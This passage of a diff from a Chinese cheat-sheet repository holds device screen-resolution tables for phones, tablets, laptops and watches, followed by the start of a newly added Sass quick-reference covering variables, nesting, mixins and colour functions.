| Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 |
|
||||
| Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 平板
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 |
|
||||
| Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 笔记本电脑
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan |
|
||||
| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 智能手表
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 |
|
||||
| LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 |
|
||||
| Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 常见的显示分辨率（N/A = 不适用）
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
|
||||
:- |:- |:- |:- |:- |:- |
|
||||
`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
|
||||
`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
|
||||
`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
|
||||
`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
|
||||
`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
|
||||
`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
|
||||
`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
|
||||
`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
|
||||
`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
|
||||
N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
|
||||
`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
|
||||
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
|
||||
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
|
||||
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
|
||||
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
|
||||
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
|
||||
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
|
||||
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
|
||||
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | <0.58 | <2.4
|
||||
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
|
||||
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
|
||||
`Other` | - | - | - | 2.00 | 15.09
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 屏幕分辨率
|
||||
|
||||
解析度 | 像素
|
||||
:- |:-
|
||||
`540p / qHD` | 960×540<sub>px</sub>
|
||||
`720p / HD` | 1280×720<sub>px</sub>
|
||||
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
|
||||
`2K` | 2048×1080<sub>px</sub>
|
||||
`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
|
||||
`2160p / UHD` | 3840×2160<sub>px</sub>
|
||||
`4K` | 4096×2160<sub>px</sub>
|
||||
`5K` | 5120×2880<sub>px</sub>
|
||||
`8K / 8K UHD` | 7680×4320<sub>px</sub>
|
||||
|
||||
### 显示分辨率和用例
|
||||
|
||||
解析度名称 | 设备
|
||||
:- |:-
|
||||
`8K` _(8K UHD)_ | `TVs`
|
||||
`“Cinema” 4K` _(4K)_ | 投影仪
|
||||
`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`2K` _(none)_ | 投影仪
|
||||
`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
|
||||
`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`720p` _(HD, High Definition)_ `TVs`, 智能手机
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
|
||||
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
|
||||
620
docs/sass.md
Normal file
620
docs/sass.md
Normal file
@ -0,0 +1,620 @@
|
||||
Sass
|
||||
===
|
||||
|
||||
这是一份快速参考备忘单，列出了 [SASS](https://sass-lang.com) 最有用的功能。
|
||||
|
||||
Sass 基础
|
||||
--------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
|
||||
Sass 是一种 CSS 的预编译语言
|
||||
|
||||
```bash
|
||||
$ npm install -g sass
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 Sass
|
||||
|
||||
```bash
|
||||
$ sass source/index.scss build/index.css
|
||||
$ sass --watch input.scss output.css
|
||||
$ sass --watch app/sass:public/css
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```scss
|
||||
$defaultLinkColor: #46EAC2;
|
||||
a {
|
||||
color: $defaultLinkColor;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```scss
|
||||
$wk: -webkit-;
|
||||
.rounded-box {
|
||||
#{$wk}border-radius: 4px;
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```scss
|
||||
/*
|
||||
这是多行注释
|
||||
块注释
|
||||
块注释
|
||||
*/
|
||||
// 这是一条单行注释
|
||||
```
|
||||
|
||||
### Extend
|
||||
|
||||
```scss
|
||||
.button {
|
||||
···
|
||||
}
|
||||
.push-button {
|
||||
@extend .button;
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(Nesting)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
nav {
|
||||
ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
li { display: inline-block; }
|
||||
a {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```scss
|
||||
nav ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
nav li {
|
||||
display: inline-block;
|
||||
}
|
||||
nav a {
|
||||
display: block;
|
||||
}
|
||||
```
|
||||
|
||||
### 模块（片段）
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
// _base.scss
|
||||
$font-stack: Helvetica, sans-serif;
|
||||
$primary-color: #333;
|
||||
```
|
||||
|
||||
注意以下划线开头的 Sass 文件
|
||||
|
||||
```scss
|
||||
// styles.scss
|
||||
@use 'base';
|
||||
|
||||
.inverse {
|
||||
background-color: base.$primary-color;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.inverse {
|
||||
background-color: #333;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```scss
|
||||
@mixin heading-font {
|
||||
font-family: sans-serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
h1 {
|
||||
@include heading-font;
|
||||
}
|
||||
```
|
||||
|
||||
查看: [混合(Mixins)](#sass-混合mixins)
|
||||
|
||||
### @import
|
||||
|
||||
```scss
|
||||
@import './other_sass_file';
|
||||
@import '/code', 'lists';
|
||||
// 纯 CSS @imports
|
||||
@import "theme.css";
|
||||
@import url(theme);
|
||||
```
|
||||
|
||||
`.sass` 或 `.sass` 扩展名是可选的。
|
||||
|
||||
Sass 混合(Mixins)
|
||||
------
|
||||
|
||||
|
||||
### 参数
|
||||
|
||||
```scss
|
||||
@mixin font-size($n) {
|
||||
font-size: $n * 1.2em;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include font-size(2);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认值
|
||||
|
||||
```scss
|
||||
@mixin pad($n: 10px) {
|
||||
padding: $n;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认变量
|
||||
|
||||
```scss
|
||||
$default-padding: 10px;
|
||||
@mixin pad($n: $default-padding) {
|
||||
padding: $n;
|
||||
}
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
Sass 颜色函数
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### rgba
|
||||
|
||||
```scss
|
||||
rgb(100, 120, 140)
|
||||
rgba(100, 120, 140, .5)
|
||||
rgba($color, .5)
|
||||
```
|
||||
|
||||
### Mixing
|
||||
|
||||
```scss
|
||||
mix($a, $b, 10%) // 10% a, 90% b
|
||||
```
|
||||
|
||||
### 修改 HSLA
|
||||
|
||||
```scss
|
||||
darken($color, 5%)
|
||||
lighten($color, 5%)
|
||||
```
|
||||
|
||||
```scss
|
||||
saturate($color, 5%)
|
||||
desaturate($color, 5%)
|
||||
grayscale($color)
|
